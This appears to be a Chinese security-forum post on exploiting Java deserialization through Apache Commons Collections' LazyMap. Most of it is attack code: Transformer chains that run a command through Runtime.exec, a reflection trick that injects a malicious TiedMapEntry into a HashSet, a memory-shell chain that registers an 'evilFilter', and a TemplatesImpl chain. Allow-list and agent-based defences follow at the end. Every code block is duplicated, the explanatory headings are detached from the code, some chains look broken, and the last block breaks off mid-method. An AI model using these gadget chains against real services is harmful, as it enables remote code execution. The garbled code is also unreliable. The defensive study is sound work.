首页
社区
课程
招聘
[原创]Java LazyMap的深度利用技巧
发表于: 2025-4-3 10:41 846

[原创]Java LazyMap的深度利用技巧

2025-4-3 10:41
846

LazyMap是Apache Commons Collections中实现延迟加载的特殊Map实现类,其核心逻辑在于当访问不存在的Key时,会触发Transformer转换器:

触发原理

绕过原理

通过BadAttributeValueExpExceptionreadObject方法触发TiedMapEntry.toString(),进而调用LazyMap.get()。此方法不依赖动态代理机制,适用于高版本 JDK 环境。

关键点

通过反射修改HashSet内部存储结构,注入恶意TiedMapEntry对象:

绕过原理

通过嵌套多层代理隐藏真实调用链,绕过基于类名的黑名单过滤:

优势

结合TemplatesImpl加载恶意字节码,避免直接调用敏感方法:

特点

通过LazyMap触发 JNDI 查询,实现远程类加载:

利用条件

// 源码关键逻辑
public class LazyMap extends AbstractMapDecorator {
    private final Transformer factory;
 
    public Object get(Object key) {
        if (!map.containsKey(key)) {  // 当Key不存在时
            Object value = factory.transform(key); // 触发转换器
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
}
// 源码关键逻辑
public class LazyMap extends AbstractMapDecorator {
    private final Transformer factory;
 
    public Object get(Object key) {
        if (!map.containsKey(key)) {  // 当Key不存在时
            Object value = factory.transform(key); // 触发转换器
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
}
// 构造命令执行链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"calc.exe"})
};
 
ChainedTransformer chain = new ChainedTransformer(transformers);
 
// 创建LazyMap实例
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
 
// 通过动态代理触发
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    new InvocationHandler() {
        public Object invoke(Object proxy, Method method, Object[] args) {
            return method.invoke(lazyMap, args);
        }
    }
);
 
// 序列化触发
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(proxyMap);
byte[] payload = bos.toByteArray();
 
// 反序列化触发漏洞
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();
// 构造命令执行链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"calc.exe"})
};
 
ChainedTransformer chain = new ChainedTransformer(transformers);
 
// 创建LazyMap实例
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
 
// 通过动态代理触发
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    new InvocationHandler() {
        public Object invoke(Object proxy, Method method, Object[] args) {
            return method.invoke(lazyMap, args);
        }
    }
);
 
// 序列化触发
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(proxyMap);
byte[] payload = bos.toByteArray();
 
// 反序列化触发漏洞
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();
// 构造增强版攻击链
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "triggerKey");
 
// 通过HashSet触发
HashSet hashSet = new HashSet(1);
hashSet.add("foo");  // 初始化HashSet
 
// 反射修改内部Entry
Field mapField = HashSet.class.getDeclaredField("map");
mapField.setAccessible(true);
HashMap internalMap = (HashMap) mapField.get(hashSet);
 
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(internalMap);
 
// 修改第一个节点的key
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);  // 注入恶意Entry
// 构造增强版攻击链
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "triggerKey");
 
// 通过HashSet触发
HashSet hashSet = new HashSet(1);
hashSet.add("foo");  // 初始化HashSet
 
// 反射修改内部Entry
Field mapField = HashSet.class.getDeclaredField("map");
mapField.setAccessible(true);
HashMap internalMap = (HashMap) mapField.get(hashSet);
 
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(internalMap);
 
// 修改第一个节点的key
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);  // 注入恶意Entry
Transformer[] memShellChain = new Transformer[]{
    new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
    new InvokerTransformer("loadClass",
        new Class[]{String.class},
        new Object[]{"javax.servlet.Filter"}),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"addFilter", new Class[]{String.class, Filter.class}}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[]{"evilFilter", new MaliciousFilter()}})
};
 
Map lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(memShellChain));
Transformer[] memShellChain = new Transformer[]{
    new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
    new InvokerTransformer("loadClass",
        new Class[]{String.class},
        new Object[]{"javax.servlet.Filter"}),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"addFilter", new Class[]{String.class, Filter.class}}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[]{"evilFilter", new MaliciousFilter()}})
};
 
Map lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(memShellChain));
// 使用TemplatesImpl持久化
Transformer[] persistChain = new Transformer[]{
    new ConstantTransformer(TemplatesImpl.class),
    new InvokerTransformer("newInstance", null, null),
    new InvokerTransformer("getOutputProperties", null, null)
};
// 使用TemplatesImpl持久化
Transformer[] persistChain = new Transformer[]{
    new ConstantTransformer(TemplatesImpl.class),
    new InvokerTransformer("newInstance", null, null),
    new InvokerTransformer("getOutputProperties", null, null)
};
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES =
        Set.of("java.lang.String", "java.util.ArrayList");
 
    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
 
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
        String className = desc.getName();
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new InvalidClassException("Unauthorized class: ", className);
        }
        return super.resolveClass(desc);
    }
}
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES =
        Set.of("java.lang.String", "java.util.ArrayList");
 
    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
 
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
        String className = desc.getName();
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new InvalidClassException("Unauthorized class: ", className);
        }
        return super.resolveClass(desc);
    }
}
// 使用Java Agent拦截关键方法
public class DeserializationAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined,
            protectionDomain, classfileBuffer) -> {
            if (className.equals("java/util/Map")) {
                ClassReader cr = new ClassReader(classfileBuffer);
                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
                ClassVisitor cv = new LazyMapDetector(cw);
                cr.accept(cv, 0);
                return cw.toByteArray();
            }
            return classfileBuffer;
        });
    }
}
 
// ASM检测逻辑
class LazyMapDetector extends ClassVisitor {
    public MethodVisitor visitMethod(int access, String name, String desc,
        String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
        if (name.equals("get")) {
            mv.visitCode();
            mv.visitMethodInsn(INVOKESTATIC, "SecurityMonitor", "checkLazyMapAccess");
            mv.visitEnd();
        }
        return mv;
    }
}
// 使用Java Agent拦截关键方法
public class DeserializationAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined,
            protectionDomain, classfileBuffer) -> {
            if (className.equals("java/util/Map")) {
                ClassReader cr = new ClassReader(classfileBuffer);
                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
                ClassVisitor cv = new LazyMapDetector(cw);
                cr.accept(cv, 0);
                return cw.toByteArray();
            }
            return classfileBuffer;
        });
    }
}
 
// ASM检测逻辑
class LazyMapDetector extends ClassVisitor {
    public MethodVisitor visitMethod(int access, String name, String desc,
        String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
        if (name.equals("get")) {
            mv.visitCode();

[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2025-4-11 10:19 被Hrlies编辑 ,原因:
收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册